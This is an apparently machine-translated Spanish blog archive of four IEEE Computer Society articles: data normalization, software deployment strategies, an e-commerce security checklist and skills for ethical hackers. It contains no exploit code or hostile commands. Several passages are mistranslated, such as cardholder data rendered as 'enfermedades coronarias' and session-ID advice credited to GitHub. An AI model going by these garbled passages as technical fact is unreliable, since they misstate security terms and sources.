martes, 26 de marzo de 2024

¿Por qué es importante la normalización de datos?

Los datos son el alma de una buena toma de decisiones. Sin embargo, cuando gestiona grandes cantidades de datos, es fácil almacenar información que es irrelevante para lo que necesita, llena de duplicados o completamente desestructurada. Esto hace que sea más difícil de usar y consume muchos recursos. Una forma de reducir estos problemas es mediante la normalización de datos.

¿Qué es la normalización de datos?

Al aplicar la normalización de datos, lo que busca es ponerlos en un orden utilizable y, al mismo tiempo, hacerlos consistentes y libres de errores. El nombre "normalización" proviene de las reglas que sigue el proceso: "formas normales". Estas reglas guían la creación de tablas múltiples e independientes y las relaciones entre ellas, y hay seis niveles posibles, comenzando con 1NF hasta 6NF. Sin embargo, la mayor parte de la normalización sólo llega hasta 3NF.

¿Como funciona?

Nos hemos referido a la normalización de datos como un proceso y esto se debe a que hay varios niveles que deben seguirse en un orden establecido. Como se mencionó anteriormente, la mayor parte de la normalización llega hasta 3NF, así que echemos un vistazo a los primeros tres niveles.

Primera forma normal (1NF)

Esta es la forma más básica. Se centra en eliminar datos duplicados y separarlos en tablas, cada una con una clave específica. Cada llamada debe contener valores únicos y únicos (también conocidos como valores atómicos).
Imagine que tiene un conjunto de datos con un número de producto y una columna para proveedores potenciales. En 1NF, separaría los proveedores en su propia tabla y luego vincularía los números de producto mediante una clave.

Segunda forma normal (2NF)

Con la primera forma normal implementada, puedes pasar a la segunda. Aquí, cualquier dato que pueda ser utilizado por varias tablas debe colocarse en una única tabla única.
Digamos que su tabla de proveedores incluye su dirección. Esta dirección también es necesaria en otras áreas de su base de datos, incluidas "facturas" y "pedidos entrantes". En lugar de repetir los mismos datos tres veces, 2NF extrae las direcciones en su propia tabla y las vincula con una clave externa.

Tercera forma normal (3NF)

En esta etapa, cualquier campo que no esté directamente relacionado con la clave principal no debería estar en esa tabla. No deberían tener dependencias indirectas y no deberían ser algo que pueda relacionarse con múltiples entradas.
Entonces, para nuestra tabla de proveedores, es posible que tenga una columna para su país y una columna para su moneda preferida. Su moneda depende de su país, lo que crea una dependencia. Para lograr 3NF, debemos separar esto en su propia tabla.
Y más allá…

Para conjuntos de datos complejos, es posible separar cada centímetro de información en su propia tabla, pero esto no es necesariamente práctico. A menos que tenga muchas dependencias específicas y necesite un nivel particular de detalle granular, es probable que 4NF, 5NF y 6NF sean un inconveniente en lugar de una ayuda. La normalización de datos en estos niveles consume recursos y ralentiza las consultas, a menudo con pocos beneficios.

¿Cuáles son las ventajas de la normalización de datos?

La normalización de datos tiene varias ventajas. Veámoslos uno por uno.

1. Mejor organización de la base de datos

Hay muchas formas de organizar sus datos, desde la arquitectura Medallion hasta Zachman Framework. Cualquiera que sea el método que elija, afectará a su organización, por lo que es importante asegurarse de que sea fácil de seguir. La normalización de datos ayuda a garantizar que las cosas no se complican: no hay registros duplicados ni tablas que no lleven a ninguna parte.

2. Reduce la redundancia

Como mencionamos, la normalización ayuda a reducir los duplicados. Esto es enormemente importante, porque la redundancia de datos obstruye las cosas. Si tiene más de una instancia de los mismos datos almacenados en dos lugares diferentes, está utilizando más espacio de almacenamiento del necesario. Multiplique esto innumerables veces y puede tener un problema importante de almacenamiento en términos de espacio en la nube o en disco.
El resultado puede ser costos más altos, procesamiento más lento y decisiones menos informadas , ya que el sistema tiene que analizar muchos más datos de los que necesita. Además, reducir las redundancias significa que tendrá menos anomalías de actualización, donde las actualizaciones solo se aplican a una instancia de un elemento de datos repetido en lugar de a todos ellos.

3. Datos más consistentes

Un problema importante para las empresas es tener equipos que trabajan con información ligeramente diferente. Esto se puede evitar mediante la implementación de datos normalizados, garantizando que sean los mismos sin importar quién los esté buscando. Ya no tendrá cuentas que utilicen tablas diferentes para Recursos Humanos; en cambio, todas estarán en la misma página.

4. Mejora la seguridad

La seguridad es una preocupación siempre presente para la mayoría de las empresas y la normalización de los datos puede desempeñar un papel muy importante. Cuando los datos se pueden localizar con mayor precisión, resulta más claro de dónde provienen, dónde se encuentran actualmente y quién tiene acceso a ellos.

Esto permite realizar pruebas de seguridad mejor informadas, así como la creación de políticas de acceso claras. Para tipos específicos de datos, también puede hacer que las violaciones sean más fáciles de detectar. Por ejemplo, imagine que realiza un seguimiento de cada intento fallido de inicio de sesión. En un conjunto de datos no estructurados, estos intentos estarán dispersos y serán difíciles de ver. En los datos normalizados, estarán muy claramente vinculados y serán mucho más fáciles de rastrear, por lo que si hay una dirección de correo electrónico interna que alguien está intentando forzar con fuerza bruta, lo notarás.

5. Reduce costos

Cuantos más datos almacene, mayores serán sus costos. Reduzca la necesidad de espacio en el servidor optimizando sus datos y podrá ahorrar dinero. También puede reducir el tiempo dedicado a buscar la información correcta, lo que libera a sus empleados para que puedan concentrarse en tareas más importantes y rentables.
Además, puede optimizar sus requisitos de capacitación. Dado que todos utilizan los mismos procesos y los mismos datos, puede realizar sesiones para grupos más grandes en lugar de tener que proporcionar sesiones de capacitación especializadas dirigidas a formas específicas de tratar con ciertos grupos de datos.

6. Es más fácil trabajar con los datos

Cuando hay menos errores y duplicaciones, tiene una recopilación de datos más manejable. Esto puede ser una gran ventaja cuando se trata de grandes conjuntos de datos. También garantiza que sus herramientas de análisis de datos y visualización de big data produzcan resultados más claros y pueda encontrar información más significativa.
Cuando es más fácil trabajar con los datos, se cometen menos errores. Esto significa que estará en una mejor posición para evitar anomalías de inserción (donde no puede agregar más datos porque faltan otros elementos de datos) y anomalías de eliminación (donde inadvertidamente pierde datos que necesita para una rutina debido a una eliminación en otro lugar). en la base de datos). En general, esto hace que sea más fácil (y más confiable) trabajar con sus datos.

¿Quién debería normalizar sus bases de datos?

Cualquiera que utilice grandes cantidades de datos para tomar decisiones basadas en datos.
Como puede ver por sus numerosos beneficios, la normalización de datos permite una mayor facilidad de uso y precisión. También reduce la probabilidad de que datos anómalos tengan un efecto no representativo.
Ejemplos particulares de industrias que deberían implementar la normalización de datos incluyen las finanzas y el comercio minorista. En estas áreas, el volumen de datos es enorme, por lo que requiere una estructuración que facilite un procesamiento significativo y coherente.
Todas las empresas son diferentes, por supuesto, pero, en general, los minoristas definitivamente deberían considerar normalizar sus datos, ya sea en una tabla de productos, en una tabla de clientes o en toda su base de datos. Los procesos con gran cantidad de datos, como la generación de leads y el análisis de centros de llamadas, pueden beneficiarse enormemente de cierto grado de normalización, especialmente en términos de eliminación de datos irrelevantes.
Tanto en las finanzas como en el comercio minorista, las consecuencias de los errores son enormes y normalmente muy costosas, por lo que se debe considerar cualquier enfoque que pueda ayudar a minimizar los errores.

¿Existe algún inconveniente en la normalización de datos?

Hay tres desventajas principales de la normalización de datos.
  1. No se permiten duplicaciones de datos, por lo que debe unir tablas entre tablas donde se necesitan los mismos datos en más de una ubicación. Estas uniones pueden reducir la velocidad de consulta.
  2. La indexación no es tan eficiente con las uniones de tablas. Esto reduce aún más la eficiencia de las consultas.
  3. El proceso de normalización lleva tiempo, especialmente cuando se trata de conjuntos de datos enormes. Agregue pasos adicionales, como utilizar herramientas de enriquecimiento de datos antes de comenzar, y estará ante una enorme inversión de tiempo.

Sin embargo, en la aplicación correcta, vale la pena realizar la normalización. Estas son algunas de las formas en que puede ayudarlo a tener éxito.

Mejores prácticas en normalización de datos

  1. Dedique suficiente tiempo a analizar los datos para saber con qué está tratando, incluso para asegurarse de dónde deben permanecer intactos los datos de minorías y de que solo está tratando con datos de alta calidad.
  2. Utilice niveles de normalización de forma incremental: comience gradualmente y vaya aumentando. En cualquier caso, debe utilizar los diferentes niveles de normalización de forma secuencial, pero vale la pena hacer una pausa entre cada uno para evaluar cómo funciona para usted.
  3. Defina las relaciones entre bases de datos con precisión, con nombres claros de claves y columnas.
  4. Documente el proceso de normalización para que quede claro para los demás qué sucedió con los datos y el propósito detrás de ellos.
  5. Validar y verificar los datos normalizados para garantizar su exactitud y confiabilidad.
  6. Seguir buenas prácticas de gestión de bases de datos y revisarlas y actualizarlas periódicamente según sea necesario.
  7. Utilice herramientas y técnicas adecuadas para que procesos como la transmisión de datos garanticen que fluyan correctamente a través de estructuras de bases de datos normalizadas en toda la empresa.

Ser claro con tus datos

Cuando hay muchas colecciones de datos en diferentes formas en una empresa, puede resultar muy difícil obtener información valiosa y discernir patrones clave. La normalización de datos puede ayudar en este sentido al hacer que las tablas sean consistentes, haciendo que todo sea fácil de acceder y comprender. Por lo tanto, el valor se puede determinar más fácilmente y, por lo tanto, se pueden tomar decisiones.
La normalización puede traer enormes beneficios en términos de precisión de los datos y ahorro de costos, por lo que ciertamente vale la pena investigarla. Siempre que sea consciente de los inconvenientes, como tiempos de consulta más prolongados.

Entonces, volvamos a nuestra pregunta original: ¿por qué es importante la normalización de datos? Porque, si se hace correctamente, puede transformar la suerte de una organización rica en datos.


Fuente: Roller, J. (2024, marzo 20). Why is Data Normalization Important? IEEE Computer Society. https://www.computer.org/publications/tech-news/trends/importance-of-data-normalization/

jueves, 21 de marzo de 2024

Una guía para principiantes sobre estrategias de implementación de software seguras y eficientes

 

La implementación de software implica pasos y procesos para hacer que una herramienta esté disponible para los usuarios finales y al mismo tiempo garantizar la máxima seguridad, compatibilidad y optimización.

En esta guía, analizaremos el concepto de implementación de software, en qué se diferencia del lanzamiento de software, sus beneficios, tipos y las mejores estrategias para ayudarlo a comenzar.

¿Qué es la implementación de software?

La implementación de software implica las últimas etapas del proceso de desarrollo, como la instalación, configuración y prueba de la aplicación. Garantiza que la aplicación de software funcione correctamente en un entorno específico.

El proceso de implementación de software implica un esfuerzo combinado de operaciones y desarrollo. Implica las tres etapas que se comparten a continuación, que varían según las empresas.Preparación : esta etapa implica probar la preparación del código y compilar archivos y recursos cruciales para garantizar una funcionalidad fluida de la aplicación.
Pruebas : utiliza pruebas automatizadas para validar las actualizaciones de software en un entorno de prueba. El objetivo es corregir errores antes de la implementación final.
Implementación : esta etapa examina la aplicación en busca de errores en los servidores activos después de realizar pruebas exhaustivas. El objetivo es garantizar la mejor experiencia de usuario.

En resumen, la implementación de software lleva el software desde una etapa de desarrollo o prueba a un entorno de producción para garantizar que los usuarios finales puedan operarlo sin problemas.

Principales beneficios de la implementación de software

Cuando se ejecuta correctamente, la implementación de software puede:
  • Ahorre tiempo y mejore la eficiencia con soluciones automatizadas que no necesitan intervención humana.
  • Mejore la seguridad proporcionando un control total sobre la infraestructura de TI.
  • Administre big data recopilando y procesando grandes volúmenes de datos y monitoreando las tendencias de la industria.

Implementación de software versus lanzamiento de software.

Los profesionales suelen confundir la implementación de software con el lanzamiento de software.

Sin embargo, ambas son entidades diferentes.

El lanzamiento del software comprende varias etapas de desarrollo de una aplicación. Por otro lado, la implementación de software implica ejecutar una aplicación en un dispositivo o servidor. El objetivo de la implementación es garantizar la accesibilidad para los usuarios finales.

¿Y lo que es más? El lanzamiento de software es como actualizar un producto con cambios y crear su nueva versión. La implementación es cuando esa versión actualizada se lanza o se publica para los usuarios finales.

Diferentes tipos de implementación de software

Estos son los tipos clave de implementación de software.
  • Implementación básica : este método de implementación sencillo actualiza todos los entornos para crear una nueva versión de software. Sin embargo, carece de control y puede dificultar los procesos de reversión debido a posibles vulnerabilidades.
  • Implementación multiservicio : este enfoque es similar a la implementación de software básica. Sin embargo, implica actualizar varios servicios a la vez. La implementación de múltiples servicios es útil para aplicaciones con dependencias de versiones de software. Es rápido de implementar pero más lento para las reversiones.
  • Implementación continua : este es un enfoque gradual que implica reemplazar lentamente la versión anterior del software por la nueva. Permite una ampliación flexible de la actualización de software antes de eliminar la anterior. Esto garantiza cero tiempo de inactividad. Sin embargo, los retrocesos siguen un proceso gradual similar.
  • Implementación azul-verde : este enfoque opera con dos versiones de software simultáneamente. La versión actual se indica en azul, mientras que el verde refleja la nueva. La implementación azul-verde permite a los profesionales probar la versión actualizada del software mientras funciona la actual. Ofrece reversiones rápidas a expensas de administrar dos entornos.
  • Implementación Canary : este es un método de implementación de software de bajo riesgo. Implica compartir actualizaciones incrementales con pequeños grupos de usuarios hasta completar la implementación. La idea es comprender si los usuarios finales están contentos con el software antes de lanzarlo. Esto permite reversiones rápidas sin ningún tiempo de inactividad. ¿La mejor parte? Ayuda a mejorar la experiencia del usuario final, el aspecto más crucial de la implementación.
  • Pruebas A/B : principalmente un enfoque de prueba, este método de implementación de software se parece a la implementación canary. Implica introducir dos versiones de actualización de software a grupos de usuarios específicos para medir la efectividad de las funciones. El objetivo es mejorar y lograr altas tasas de conversión.
  • Implementación en la sombra : este método de implementación comprende la ejecución de versiones de software paralelas para probar su estabilidad y rendimiento. Se trata, pues, de un procedimiento de bajo riesgo que garantiza la seguridad antes del despliegue completo.

Principales desafíos en la implementación de software

En un escenario ideal, una actualización de software funcionará según lo previsto. Sin embargo, esto rara vez es así. Varios aspectos pueden salir mal y requerir correcciones como una nueva implementación y actualizaciones de hardware.

Estos son los principales desafíos que podrían enfrentar los profesionales de la informática.
  • Problemas de integridad del código : estos problemas indican que el código contiene errores o está dañado. Puede afectar negativamente la funcionalidad y confiabilidad del software.
  • Sin copia de seguridad de datos : problemas como errores de código y fallas de hardware son comunes durante la implementación. La falta de una estrategia de copia de seguridad y recuperación de datos puede tener peores consecuencias.
  • Gastos imprevistos : el proceso de implementación tiende a tener costos ocultos que se deben calcular y considerar durante las etapas iniciales. No hacerlo puede generar facturas elevadas.

Las mejores estrategias de implementación de software

Estas son las mejores estrategias de implementación de software para ayudarlo a combatir los desafíos clave y obtener resultados positivos.

#1: Cree una lista de verificación completa

Una lista de verificación de implementación bien definida garantiza un enfoque estandarizado del proceso.

Por ejemplo, los profesionales de la informática pueden definir y delinear pasos cruciales, como:
  • Revisión de la integridad del código : esto garantiza la calidad y confiabilidad del código.
  • Control de versión l: esto ayuda a gestionar los cambios de código durante todo el proceso.
  • Copias de seguridad de datos : esto ayuda a proteger contra posibles problemas de pérdida de datos.
  • Método de prueba y plan de implementación : esto garantiza una integración perfecta y sin errores.
  • Tipo de implementación (gradual, canario y más) : esto garantiza que su plan resuene con las necesidades y objetivos del proyecto.
Por lo tanto, una lista de verificación detallada puede garantizar una implementación de software segura y eficiente.

#2: Construya clústeres separados

Administre diferentes clústeres para entornos de producción y no producción para minimizar y mitigar los riesgos.

En pocas palabras, organice distintos conjuntos de servidores o recursos para diversos fines. Por ejemplo, mantenga un clúster para entornos activos y otro para pruebas y desarrollo.

Esta práctica puede reducir las vulnerabilidades de seguridad que surgen de un clúster compartido.

#3: Aproveche las herramientas adecuadas

Aproveche herramientas de última generación, como gestión de configuración, organización y organización de contenedores, análisis de datos y más.

Asegúrese de que sean compatibles en varias plataformas como Linux, Windows, macOS, iOS y Android. Esta estrategia puede garantizar la flexibilidad, reducir la dependencia de los proveedores y optimizar la implementación.

4: Supervisar el rendimiento continuamente

Realice un seguimiento de las métricas de implementación correctas. Por ejemplo, realice un seguimiento de métricas cruciales como la frecuencia de implementación, el tiempo de entrega, la tasa de escape de defectos, la tasa de fallas de cambios, el volumen de cambios, el tiempo medio de recuperación y el rendimiento de la aplicación.

Esta estrategia puede ayudar a identificar áreas de mejora en el proceso de implementación de software e impulsar la eficiencia y eficacia del proceso a largo plazo.

#5: Automatizar la base de datos

Automatice las actualizaciones de la base de datos junto con el código de la aplicación para optimizar el proceso de implementación del software. Incluya un mecanismo de reversión automatizado para restaurar una versión estable si algo sale mal durante la implementación.

Además, cree un canal de actualización automatizado para integrar nuevos cambios. Esto puede garantizar un entorno seguro para la revisión del código antes de la implementación final y reducir el error humano.


Fuente: Roller, J. (2023, diciembre 22). A Beginner’s Guide to Secure and Efficient Software Deployment Strategies. IEEE Computer Society. https://www.computer.org/publications/tech-news/trends/secure-software-deployment-strategies-guide/

martes, 19 de marzo de 2024

La lista de validación de 7 puntos para la seguridad y la privacidad en el comercio electrónico

El Foro Económico Mundial ha identificado los ciberataques como uno de los mayores riesgos para la estabilidad económica mundial. El estudio de perspectivas de ciberseguridad estima un aumento exponencial de los ciberataques en los próximos años, que costarán 11,5 billones de dólares en daños en 2023. La industria del comercio electrónico es una de las ocho industrias más afectadas por los ciberataques.

El valor de las pérdidas del comercio electrónico debido a fraudes de pagos en línea se estimó en 41 mil millones de dólares en 2022 y se prevé que supere los 48 mil millones de dólares para fines de 2023. ue el 75% de los fraudes y robos de datos involucran a empresas de comercio electrónico. Con la creciente amenaza de los ciberatacantes, las empresas de comercio electrónico deben centrarse en mejorar las medidas de seguridad para proteger sus negocios y a sus clientes. Con ese fin, aquí hay una lista de verificación de 7 puntos que lo ayudará a proteger su plataforma de comercio electrónico contra ataques cibernéticos.

Lista de verificación de 7 puntos para la seguridad y privacidad en el comercio electrónico

Un sitio web de comercio electrónico puede ser víctima de diversos ataques cibernéticos. Por lo tanto, necesita protocolos férreos para el desarrollo y la gestión de sitios web para fortalecer los diferentes puntos de acceso y superficies de ataque. Echemos un vistazo a 7 medidas que pueden ayudarle a proteger su infraestructura de comercio electrónico.

1. Identificar las vulnerabilidades del código fuente

El 97% de las aplicaciones y el software del mundo utilizan código fuente abierto hasta cierto punto. Desafortunadamente, estos códigos están plagados de vulnerabilidades y exponen sus sitios web de comercio electrónico a una variedad de ataques cibernéticos. El informe Análisis de riesgos y seguridad de código abierto muestra que el 84% de las bases de código están plagadas de vulnerabilidades de código abierto.

La cantidad de vulnerabilidades de alto riesgo en sitios minoristas y de comercio electrónico ha aumentado un 557% desde 2018. Es necesario escanear sus plataformas de comercio electrónico en busca de tales vulnerabilidades. Puede utilizar herramientas como Flawfinder, RATS, OpenVAS, OSV-Scanner, etc. para encontrar brechas de seguridad en su red. También necesita realizar un seguimiento de las actualizaciones y parches de seguridad para todas las dependencias de código abierto empleadas en su sistema.

2. Emplear autenticación multifactor (MFA)

Las contraseñas son los eslabones más débiles de la seguridad. Incluso las contraseñas más sólidas pueden ser víctimas de ataques de phishing. La autenticación multifactor dificulta que los ciberatacantes accedan a los recursos de red de su organización. MFA puede prevenir el 99,9% de los ciberataques automatizados . También ha demostrado ser eficaz contra el 96 % de los ataques de phishing masivos y el 76 % de los ataques dirigidos.

Pero una plataforma de comercio electrónico también debe considerar la conveniencia del usuario al emplear la autenticación multifactor. A pesar de las vulnerabilidades, las contraseñas siguen siendo el factor de autenticación más común. Un sitio de comercio electrónico puede agregar medidas adicionales para verificar la identidad del usuario.

La primera identificación son las credenciales (nombre de usuario, contraseñas, etc.). La segunda es un código único generado automáticamente y enviado al dispositivo del usuario. El 68% de los usuarios considera que las notificaciones push móviles son uno de los métodos de autenticación más convenientes.

La autenticación multifactor garantiza una sólida seguridad de control de acceso al confirmar la identidad del usuario a través de múltiples canales. Esto disminuye la posibilidad de acceso no autorizado. Ayuda a prevenir un ataque incluso si uno de los canales de acceso está comprometido.

3. Verifique las vulnerabilidades de entrada

Los ataques de inyección se encuentran entre los tipos más comunes de ciberataques que afectan a los sitios web de comercio electrónico. Los componentes de entrada del usuario en su sitio web de comercio electrónico suelen ser vulnerables a este tipo de ataques. Debe escanear el sitio web en busca de todos los componentes de entrada del usuario y definir protocolos para la validación de los datos de entrada.

Si bien la mayoría de los desarrolladores utilizan una lista negra para la validación de entradas, los piratas informáticos suelen encontrar una forma de evitarlas. En su lugar, puede utilizar listas blancas para validar entradas basadas en criterios sintácticos y semánticos que sean relevantes para diversos formularios de entrada. Esto ayuda a limitar el alcance de los ataques de inyección. También es necesario probar todos los formularios de entrada para detectar una variedad de ataques como:
  • Inyección SQL
  • Secuencias de comandos entre sitios
  • Recorrido de ruta e inyección de nombre de archivo
  • Inyección de comandos del sistema
  • Inclusión de archivos locales/remotos
Puede reforzar las medidas de seguridad contra ataques de inyección desinfectando todas las entradas en busca de elementos de código malicioso, como comillas simples (el elemento más utilizado para iniciar ataques de inyección SQL). Además, también debe desactivar la interpretación de datos para evitar que las inyecciones se procesen automáticamente.

4. Vulnerabilidades en entidades externas XML (XXE)

Hay muchos sitios web de comercio electrónico que analizan entradas XML sin un analizador bien configurado. Estos sitios web corren riesgo porque permiten el acceso externo a su información, archivos y puertos. Además, existe el riesgo adicional de ejecutar código malicioso, así como de provocar ataques DoS y DDoS.

Esto es lo que pueden hacer los desarrolladores:
  • Utilice métodos de serialización específicos de clase cuando trabaje con información confidencial
  • Opte por formatos de datos más simples como JSON
  • Probar DTD externo para análisis
  • Actualice los procesadores y bibliotecas XML periódicamente
  • Implementar la validación de archivos XML entrantes.
  • Pruebe todas las extensiones XML en busca de vulnerabilidades

5. Controlar los ID de sesión

Durante las sesiones web, cada interacción del usuario se caracteriza por variables como derechos de acceso y cadenas de localización. Mediante la fijación del ID de sesión, los piratas informáticos pueden explotar sesiones legítimas para lograr sus objetivos.

Debe impartir protocolos para el acceso a la sesión a través de controles de autenticación y autorización. Luego, deberá realizar un seguimiento de la actividad del usuario dentro de la aplicación web de comercio electrónico utilizando los ID de sesión. El ID de sesión común utilizado por las aplicaciones web revela mucha información innecesaria, que puede ser aprovechada por un atacante potencial.

Los ciberatacantes pueden obtener información sobre el lenguaje de programación, el marco tecnológico y la información del usuario descifrando los ID de sesión. El contenido del ID de sesión debe basarse en información sin sentido para evitar su divulgación. Debe cambiar los protocolos de ID de sesión predeterminados para evitar la toma de huellas digitales .

La mayoría de los ciberataques utilizan ataques de fuerza bruta para identificar sesiones válidas. Por lo tanto, debe asegurarse de que los ID de sesión generados para sus sitios web de comercio electrónico sean lo suficientemente largos para resistir dichos ataques. GitHub recomienda una longitud de ID de sesión de 16 bytes con 64 bits de entropía. Puede utilizar un generador de números pseudoaleatorios (PRNG) para introducir entropía en los ID de sesión de su sitio web de comercio electrónico.

6. Transacciones seguras con cumplimiento de PCI DSS

El cumplimiento del Estándar de seguridad de datos de la industria de tarjetas de pago (PCI DSS) incluye pautas para prevenir el fraude en los pagos y el robo de información financiera. Las pautas PCI DSS para el comercio electrónico identifican 12 criterios fundamentales que ayudan a asegurar las transacciones para el cumplimiento de pedidos de comercio electrónico . Cumplir con estos criterios ayudará a proteger la información transaccional durante el procesamiento del pedido.

A continuación, se muestran algunas formas de ayudar a que su sitio web de comercio electrónico cumpla con estas pautas:
  • Minimice el tiempo de almacenamiento y retención de datos de titulares de tarjetas (CHD).
  • Definir protocolos para la retención y eliminación de enfermedades coronarias.
  • Haga que todos los datos de autenticación confidenciales sean irrecuperables una vez completada la autorización.
  • Utilice protocolos de seguridad y criptografía para toda la información del titular de la tarjeta durante la transmisión de datos.
  • Limite el almacenamiento de claves criptográficas a las ubicaciones mínimas requeridas.
  • Definir protocolos de identificación y autenticación para el acceso a CHD.
  • Implemente pistas de auditoría automatizadas para todos los componentes del sistema con acceso a CHD.

7. Realizar pruebas periódicas

La ciberseguridad en el eCommerce es una práctica recurrente. A medida que el sitio web crece y evoluciona, es posible que encuentre nuevas vulnerabilidades. Debe realizar pruebas periódicas para evaluar la eficacia de las medidas de seguridad de su sitio web de comercio electrónico. También debe realizar estas pruebas para medir qué tan bien sus medidas de seguridad pueden resistir nuevas amenazas de ciberseguridad.

Aquí hay una lista de pruebas de seguridad importantes para su sitio web de comercio electrónico:
  • Busque actualizaciones de seguridad para todos los componentes de su sitio web.
  • Pruebe extensiones de archivos que contengan datos confidenciales.
  • Verifique los permisos de archivos para todos los datos confidenciales.
  • Escanee copias de seguridad y archivos sin referencia en busca de información del usuario y CHD.
  • Escanee robot.txt en busca de información confidencial.
  • Realizar un reconocimiento de descubrimiento de motores de búsqueda para detectar fugas de información.
  • Pruebe los puntos de entrada de la aplicación en busca de vulnerabilidades.
  • Marcos de prueba para servidores y aplicaciones web de huellas dactilares.
  • Escanee las URL en busca de información confidencial.
  • Probar protocolos de cifrado y seguridad para la transmisión de información.
  • Pruebe los protocolos de autenticación y autorización de usuarios para detectar vulnerabilidades.
  • Busque SQL, XML, X-Path, XSL, SSI, API y otras formas de inyecciones.
Fuente: Roller, J. (2023, diciembre 11). The 7-point Checklist for Security and Privacy in Ecommerce. IEEE Computer Society. https://www.computer.org/publications/tech-news/trends/7-point-checklist-for-ecomm-security-and-privacy/

jueves, 14 de marzo de 2024

4 habilidades esenciales para convertirse en un hacker ético exitoso

¿Sabías que al menos el 36% de los usuarios de Internet han sido pirateados?

Según un estudio realizado por la Universidad de Maryland, cada 39 segundos se produce un ataque de piratas informáticos. En un mundo donde las amenazas a la seguridad cibernética cobran gran importancia, el papel de los piratas informáticos éticos nunca ha sido más crucial. Estos son los héroes anónimos que protegen nuestros datos, nuestra privacidad y la integridad de nuestra infraestructura digital.
Estas personas utilizan su experiencia para evaluar y probar la seguridad de los sistemas informáticos con el permiso del propietario del sistema, generalmente para mejorar las medidas de seguridad.

Para convertirse en un hacker ético exitoso, debe poseer algunas habilidades no negociables. En esta publicación, aprenderá sobre cuatro de esas habilidades esenciales para los piratas informáticos, es decir, las éticas.

1. Habilidades de programación

Una de las habilidades de piratería ética más indispensables es la programación. De hecho, esta es la base del hacking ético. Los piratas informáticos éticos a menudo navegan por sistemas y software complejos, buscando vulnerabilidades que requieren una comprensión profunda de cómo funcionan estos sistemas.

Como hacker ético, las habilidades de programación proporcionan la base sobre la cual desarrollar su experiencia, permitiéndole diseccionar, analizar y manipular código para identificar y remediar las debilidades de seguridad.


Estos lenguajes le permiten automatizar tareas, analizar el tráfico de la red e identificar posibles debilidades en el software. Además, la capacidad de escribir código le permite comprender cómo operan diversos exploits y vulnerabilidades, lo que le permite diseñar contramedidas efectivas.

Los piratas informáticos éticos también emplean habilidades de programación para una divulgación ética y responsable. Cuando identifique vulnerabilidades, deberá desarrollar exploits de prueba de concepto para demostrar el problema a los proveedores de software o administradores de sistemas.

En este caso, su conocimiento de programación le ayudará a articular claramente el problema, lo que facilitará a las partes pertinentes abordar la falla de seguridad. Además, mejora sus perspectivas profesionales, ya que el dominio de la programación suele ser un requisito previo para obtener certificaciones de piratería respetadas , una credencial que puede validar sus habilidades y conocimientos ante posibles empleadores.

Al dominar los lenguajes de programación y sus aplicaciones, puede sentar las bases para una carrera exitosa en piratería ética.

2. Habilidades informáticas

Las habilidades informáticas son esenciales para los piratas informáticos éticos. Cubren una amplia gama de conocimientos y habilidades que son vitales para comprender y controlar sistemas y redes informáticas. Esto los convierte en un activo fundamental en la búsqueda del hacking ético.

Como hacker ético, debes comprender profundamente los diferentes sistemas operativos como Windows, Linux y macOS. Ser bueno en estos sistemas le ayuda a trabajar y encontrar debilidades en varias plataformas, lo cual es crucial al evaluar la diversa configuración de TI de su cliente.
Sus habilidades informáticas también deben incluir una comprensión firme de los principios de redes, incluidos TCP/IP, enrutamiento y subredes. Este conocimiento le ayuda a analizar el tráfico de la red, identificar vulnerabilidades potenciales y desarrollar estrategias para proteger las infraestructuras de red.

Los piratas informáticos éticos suelen simular ataques del mundo real para descubrir vulnerabilidades. Ser experto en herramientas y técnicas de administración de sistemas es crucial para estas simulaciones. Le ayuda a examinar cómo están configurados los sistemas y detectar posibles debilidades.

Finalmente, debes saber sobre el hardware de la computadora. No se trata sólo de software; es necesario comprender la arquitectura y los componentes de los sistemas informáticos. Este conocimiento es útil para comprobar la seguridad física y encontrar puntos débiles en los dispositivos de hardware. En el mundo de la ciberseguridad en rápida evolución , tener sólidas habilidades informáticas es importante para quienes desean protegerse contra las amenazas cibernéticas y hacer que el mundo digital sea seguro.

3. Habilidades SQL

Las habilidades de SQL (lenguaje de consulta estructurado) son un componente crítico del conjunto de herramientas de un hacker ético. SQL es el lenguaje estándar utilizado para interactuar y administrar bases de datos relacionales, lo que lo convierte en una habilidad indispensable para identificar y explotar las vulnerabilidades de las bases de datos.

He aquí por qué estas habilidades técnicas son esenciales para un hacker exitoso:Evaluación de la vulnerabilidad de la base de datos: las habilidades de SQL permiten a los piratas informáticos éticos evaluar la seguridad de las bases de datos. Pueden identificar configuraciones erróneas, controles de acceso débiles o manejo inadecuado de consultas, todo lo cual puede ser aprovechado por actores maliciosos. Comprender SQL también ayuda a descubrir vulnerabilidades de inyección de SQL, una amenaza frecuente y de alto impacto para la integridad de los datos.

Explotación de la inyección SQL: la inyección SQL es una técnica de piratería en la que se inserta código SQL malicioso en una declaración SQL vulnerable. Como pirata informático ético, debe comprender las complejidades de SQL para explotar estas vulnerabilidades, imitando las tácticas de los piratas informáticos maliciosos, pero para descubrir y corregir los puntos débiles.

Extracción y manipulación de datos: los piratas informáticos éticos a menudo necesitan recuperar datos de las bases de datos durante las pruebas de penetración para demostrar daños potenciales. Las habilidades de SQL son esenciales para elaborar consultas que extraigan información confidencial, como nombres de usuarios y contraseñas, para ilustrar los riesgos asociados con una violación de la base de datos.

Revisión de codificación segura: el conocimiento de SQL le permite revisar y evaluar la seguridad del código relacionado con la base de datos dentro de las aplicaciones web. Al analizar el código SQL, puede identificar vulnerabilidades y guiar a los desarrolladores sobre cómo escribir consultas seguras a bases de datos.

Dado que las filtraciones de datos continúan representando una grave amenaza, el dominio de SQL es vital para los piratas informáticos éticos comprometidos con la salvaguardia de los activos digitales y el mantenimiento de la integridad de los sistemas de información.

4. Habilidades de ingeniería social

En el mundo de las pruebas de penetración, la competencia técnica es sólo una pieza del rompecabezas. Las habilidades de ingeniería social son habilidades igualmente esenciales para los piratas informáticos.

La ingeniería social implica manipular a personas para que divulguen información confidencial o realicen acciones que comprometan la seguridad. En realidad se trata de comprender cómo piensa y se comporta la gente. Como hacker ético, debes meterte en la cabeza de las personas, comprender por qué hacen lo que hacen y utilizar eso para encontrar puntos débiles. Este conocimiento le ayudará a crear escenarios persuasivos que puedan superar todas las defensas técnicas.

Otra gran razón por la que las habilidades de ingeniería social son importantes para los hackers éticos es que les permiten abordar ataques de phishing. El phishing se produce cuando los delincuentes envían correos electrónicos o mensajes furtivos para engañar a las personas y hacer que proporcionen información importante.

Los piratas informáticos éticos utilizan estas habilidades para probar la susceptibilidad de una organización a ataques de phishing, prevenir el robo de identidad , crear conciencia y mejorar los protocolos de seguridad.

